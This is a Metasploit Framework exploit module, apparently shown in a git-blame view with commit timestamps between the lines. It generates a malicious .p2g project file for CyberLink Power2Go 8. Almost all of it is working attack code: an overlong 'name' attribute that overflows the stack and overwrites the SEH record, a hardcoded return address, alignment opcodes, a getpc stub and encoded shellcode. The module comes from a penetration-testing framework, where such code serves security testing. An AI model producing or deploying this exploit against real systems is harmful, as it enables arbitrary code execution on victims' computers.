2012-04-13 01:07:36 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# web site for more information on licensing and terms of use.
|
2012-04-18 07:25:43 +00:00
|
|
|
# http://metasploit.com/
|
2012-04-13 01:07:36 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = GreatRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::FILEFORMAT
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2012-04-18 07:25:43 +00:00
|
|
|
'Name' => 'CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit',
|
|
|
|
'Description' => %q{
|
2012-04-13 01:18:24 +00:00
|
|
|
This module exploits a stack buffer overflow in CyberLink Power2Go version 8.x
|
|
|
|
The vulnerability is triggered when opening a malformed p2g file containing an overly
|
|
|
|
long string in the 'name' attribute of the file element. This results in overwriting a
|
2012-04-13 01:07:36 +00:00
|
|
|
structured exception handler record.
|
|
|
|
},
|
2012-04-18 07:25:43 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
2012-04-13 01:07:36 +00:00
|
|
|
[
|
|
|
|
'modpr0be <modpr0be[at]spentera.com>', # initial discovery
|
|
|
|
'mr_me <steventhomasseeley[at]gmail.com>' # msf module
|
|
|
|
],
|
2012-04-18 07:25:43 +00:00
|
|
|
'References' =>
|
2012-04-13 01:07:36 +00:00
|
|
|
[
|
2012-04-13 01:23:28 +00:00
|
|
|
['BID', '50997'],
|
2012-04-19 17:04:11 +00:00
|
|
|
['OSVDB', '77600'],
|
2012-04-20 04:53:32 +00:00
|
|
|
['UDB', '18220'],
|
2012-04-13 01:23:28 +00:00
|
|
|
['URL', 'http://www.kb.cert.org/vuls/id/158003']
|
2012-04-13 01:07:36 +00:00
|
|
|
],
|
2012-04-18 07:25:43 +00:00
|
|
|
'DefaultOptions' =>
|
2012-04-13 01:07:36 +00:00
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
'InitialAutoRunScript' => 'migrate -f',
|
|
|
|
},
|
2012-04-18 07:25:43 +00:00
|
|
|
'Payload' =>
|
2012-04-13 01:07:36 +00:00
|
|
|
{
|
|
|
|
'Space' => 1024,
|
2012-04-18 07:25:43 +00:00
|
|
|
'BadChars' => "\x00"
|
2012-04-13 01:07:36 +00:00
|
|
|
},
|
2012-04-18 07:25:43 +00:00
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
2012-04-13 01:07:36 +00:00
|
|
|
[
|
|
|
|
# Power2Go8.exe (0x004b0028) - pop esi/pop ebp/pop ebx/add esp,10/retn
|
2012-04-13 01:23:28 +00:00
|
|
|
[ 'CyberLink Power2Go 8 (XP/Vista/win7) Universal', { 'Ret' => "\x28\x4b" } ]
|
2012-04-13 01:07:36 +00:00
|
|
|
],
|
2012-04-18 07:25:43 +00:00
|
|
|
'DisclosureDate' => 'Sep 12 2011',
|
|
|
|
'DefaultTarget' => 0))
|
2012-04-13 01:07:36 +00:00
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
2012-04-18 07:25:43 +00:00
|
|
|
OptString.new('FILENAME', [ true, 'The output filename.', 'msf.p2g'])
|
2012-04-13 01:07:36 +00:00
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def get_payload(hunter)
|
|
|
|
|
|
|
|
[ 'x86/alpha_mixed', 'x86/unicode_mixed' ].each { |name|
|
|
|
|
enc = framework.encoders.create(name)
|
|
|
|
if name =~ /unicode/
|
|
|
|
enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EAX' })
|
|
|
|
else
|
|
|
|
enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EDX' })
|
|
|
|
end
|
|
|
|
# NOTE: we already eliminated badchars
|
|
|
|
hunter = enc.encode(hunter, nil, nil, platform)
|
|
|
|
if name =~/alpha/
|
|
|
|
#insert getpc_stub & align EDX, unicode encoder friendly.
|
|
|
|
#Hardcoded stub is not an issue here because it gets encoded anyway
|
|
|
|
getpc_stub = "\x89\xe1\xdb\xcc\xd9\x71\xf4\x5a\x83\xc2\x41\x83\xea\x35"
|
|
|
|
hunter = getpc_stub + hunter
|
|
|
|
end
|
|
|
|
}
|
|
|
|
|
|
|
|
return hunter
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
|
|
|
|
title = rand_text_alpha(10)
|
2012-04-15 02:16:51 +00:00
|
|
|
buffer = ""
|
|
|
|
buffer << rand_text_alpha(778)
|
2012-04-18 07:25:43 +00:00
|
|
|
buffer << "\x58\x28" # nseh
|
|
|
|
buffer << target['Ret'] # seh
|
|
|
|
buffer << "\x5f\x73" * 15 # pop edi/add [ebx],dh (after byte alignment)
|
|
|
|
buffer << "\x58\x73" # pop eax/add [ebx],dh (after byte alignment)
|
|
|
|
buffer << "\x40\x73" * 3 # inc eax/add [ebx],dh (after byte alignment)
|
|
|
|
buffer << "\x40" # inc eax
|
|
|
|
buffer << "\x73\x42" * 337 # add [ebx],dh/pop edx (after byte alignment)
|
|
|
|
buffer << "\x73" # add [ebx],dh (after byte alignment)
|
2012-04-13 01:07:36 +00:00
|
|
|
buffer << get_payload(payload.encoded)
|
|
|
|
|
|
|
|
p2g_data = <<-EOS
|
|
|
|
<Project magic="#{title}" version="101">
|
|
|
|
<Information />
|
|
|
|
<Compilation>
|
|
|
|
<DataDisc>
|
|
|
|
<File name="#{buffer}" />
|
|
|
|
</DataDisc>
|
|
|
|
</Compilation>
|
|
|
|
</Project>
|
|
|
|
EOS
|
|
|
|
|
|
|
|
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
|
|
|
file_create(p2g_data)
|
|
|
|
end
|
|
|
|
end
|